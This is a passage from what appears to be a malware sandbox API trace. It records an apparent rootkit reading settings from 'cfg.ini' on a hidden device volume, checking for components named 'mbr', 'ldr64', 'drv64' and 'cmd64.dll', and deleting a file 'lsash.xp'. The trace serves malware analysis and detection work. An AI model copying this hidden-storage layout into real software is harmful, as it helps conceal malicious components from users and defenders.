_Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.876] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.876] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.876] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.876] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007fff0e0 [0081.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.876] KeLeaveCriticalRegion () [0081.876] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.876] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.876] KeEnterCriticalRegion () [0081.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.876] KeLeaveCriticalRegion () [0081.876] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.876] KeEnterCriticalRegion () [0081.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.876] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.876] IdePortDispatch () returned 0x103 [0081.876] KeWaitForMutexObject () returned 0x0 [0081.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.877] KeLeaveCriticalRegion () [0081.877] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.877] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.877] KeEnterCriticalRegion () [0081.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a04000 [0081.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.877] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.877] IdePortDispatch () returned 0x103 [0081.877] KeWaitForMutexObject () returned 0x0 [0081.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.877] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.877] IdePortDispatch () returned 0x103 [0081.877] KeWaitForMutexObject () returned 0x0 [0081.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] KeLeaveCriticalRegion () [0081.878] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.878] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.878] KeEnterCriticalRegion () [0081.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] KeLeaveCriticalRegion () [0081.878] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.878] KeEnterCriticalRegion () [0081.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.878] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036ad6f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] KeLeaveCriticalRegion () [0081.878] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.878] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.878] KeEnterCriticalRegion () [0081.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] ExFreePoolWithTag (P=0xfffffa8007fff0e0, Tag=0x0) [0081.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.878] KeLeaveCriticalRegion () [0081.878] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.878] ReleaseMutex (hMutex=0xf0) returned 1 [0081.878] strncmp (_Str1="0;225;224;77;38;56;16;74;75", _Str2=";", _MaxCount=0x1) returned -1 [0081.878] strstr (_Str="0;225;224;77;38;56;16;74;75", _SubStr=";") returned=";225;224;77;38;56;16;74;75" [0081.878] strstr (_Str="225;224;77;38;56;16;74;75", _SubStr=";") returned=";224;77;38;56;16;74;75" [0081.878] strstr (_Str="224;77;38;56;16;74;75", _SubStr=";") returned=";77;38;56;16;74;75" [0081.878] strstr (_Str="77;38;56;16;74;75", _SubStr=";") returned=";38;56;16;74;75" [0081.878] strstr (_Str="38;56;16;74;75", _SubStr=";") returned=";56;16;74;75" [0081.878] strstr (_Str="56;16;74;75", _SubStr=";") returned=";16;74;75" [0081.878] strstr (_Str="16;74;75", _SubStr=";") returned=";74;75" [0081.878] strstr (_Str="74;75", _SubStr=";") returned=";75" [0081.878] strstr (_Str="75", _SubStr=";") returned 0x0 [0081.879] strstr (_Str="0;225;224;77;38;56;16;74;75", _SubStr=";") returned=";225;224;77;38;56;16;74;75" [0081.879] strstr (_Str="225;224;77;38;56;16;74;75", _SubStr=";") returned=";224;77;38;56;16;74;75" [0081.879] strstr (_Str="224;77;38;56;16;74;75", _SubStr=";") returned=";77;38;56;16;74;75" [0081.879] strstr (_Str="77;38;56;16;74;75", _SubStr=";") returned=";38;56;16;74;75" [0081.879] strstr (_Str="38;56;16;74;75", _SubStr=";") returned=";56;16;74;75" [0081.879] strstr (_Str="56;16;74;75", _SubStr=";") returned=";16;74;75" [0081.879] strstr (_Str="16;74;75", _SubStr=";") returned=";74;75" [0081.879] strstr (_Str="74;75", _SubStr=";") returned=";75" [0081.879] strstr (_Str="75", _SubStr=";") returned 0x0 [0081.879] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.879] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0081.879] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.879] KeEnterCriticalRegion () [0081.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.879] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.879] IdePortDispatch () returned 0x103 [0081.881] KeWaitForMutexObject () returned 0x0 [0081.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.882] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.882] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.882] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.882] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034efd60 [0081.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.882] KeLeaveCriticalRegion () [0081.882] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.882] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.882] KeEnterCriticalRegion () [0081.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.882] KeLeaveCriticalRegion () [0081.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.882] KeEnterCriticalRegion () [0081.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.882] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.882] IdePortDispatch () returned 0x103 [0081.882] KeWaitForMutexObject () returned 0x0 [0081.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.882] KeLeaveCriticalRegion () [0081.882] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.882] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.883] KeEnterCriticalRegion () [0081.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9f000 [0081.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.883] IdePortDispatch () returned 0x103 [0081.883] KeWaitForMutexObject () returned 0x0 [0081.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.883] IdePortDispatch () returned 0x103 [0081.883] KeWaitForMutexObject () returned 0x0 [0081.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.883] KeLeaveCriticalRegion () [0081.883] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.883] KeEnterCriticalRegion () [0081.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.884] KeLeaveCriticalRegion () [0081.884] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.884] KeEnterCriticalRegion () [0081.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.884] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.884] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036ad5a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.884] KeLeaveCriticalRegion () [0081.884] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.884] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.884] KeEnterCriticalRegion () [0081.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.884] ExFreePoolWithTag (P=0xfffffa80034efd60, Tag=0x0) [0081.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.884] KeLeaveCriticalRegion () [0081.884] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.884] ReleaseMutex (hMutex=0xf0) returned 1 [0081.884] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.884] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0081.884] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.884] KeEnterCriticalRegion () [0081.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.884] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.884] IdePortDispatch () returned 0x103 [0081.884] KeWaitForMutexObject () returned 0x0 [0081.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.884] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.884] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.884] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.885] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034fe740 [0081.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.885] KeLeaveCriticalRegion () [0081.885] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.885] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.885] KeEnterCriticalRegion () [0081.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.885] KeLeaveCriticalRegion () [0081.885] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.885] KeEnterCriticalRegion () [0081.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.885] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.885] IdePortDispatch () returned 0x103 [0081.885] KeWaitForMutexObject () returned 0x0 [0081.885] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.885] KeLeaveCriticalRegion () [0081.885] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.885] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.885] KeEnterCriticalRegion () [0081.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba1000 [0081.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.886] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.886] IdePortDispatch () returned 0x103 [0081.886] KeWaitForMutexObject () returned 0x0 [0081.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.886] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.886] IdePortDispatch () returned 0x103 [0081.886] KeWaitForMutexObject () returned 0x0 [0081.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.886] KeLeaveCriticalRegion () [0081.886] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.886] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.886] KeEnterCriticalRegion () [0081.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.886] KeLeaveCriticalRegion () [0081.886] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.886] KeEnterCriticalRegion () [0081.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.887] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.887] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fe520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.887] KeLeaveCriticalRegion () [0081.887] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.887] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.887] KeEnterCriticalRegion () [0081.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.887] ExFreePoolWithTag (P=0xfffffa80034fe740, Tag=0x0) [0081.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.887] KeLeaveCriticalRegion () [0081.887] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.887] ReleaseMutex (hMutex=0xf0) returned 1 [0081.887] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0081.887] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0081.887] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0081.887] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0081.887] KeEnterCriticalRegion () [0081.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.887] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.887] IdePortDispatch () returned 0x103 [0081.887] KeWaitForMutexObject () returned 0x0 [0081.887] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0081.887] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0081.887] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0081.887] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0081.887] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0081.887] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0081.887] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0081.887] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0081.887] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0081.888] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0081.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0081.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.888] KeLeaveCriticalRegion () [0081.888] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.888] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: 